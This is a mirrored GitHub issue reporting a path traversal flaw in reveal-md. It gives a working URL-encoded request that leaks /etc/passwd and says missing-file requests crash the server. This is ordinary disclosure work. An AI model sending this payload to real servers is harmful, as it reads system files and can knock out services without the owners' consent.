Giters

webpro / reveal-md

reveal.js on steroids! Get beautiful reveal.js presentations from any Markdown file

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Arbitrary file read leads access to all local files

W0rty opened this issue · comments

commented

Run an instance of reveal-md (from source code or docker hub), and then reach the following URL :

http://localhost:1948/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc.md%2F..%2Fetc%2Fpasswd

This will leak /etc/passwd of local machine (or docker)

Moreover, if we try to reach a non-existent file, the server will crash because there is no catch for the exception "ENOENT" (no such file or directory).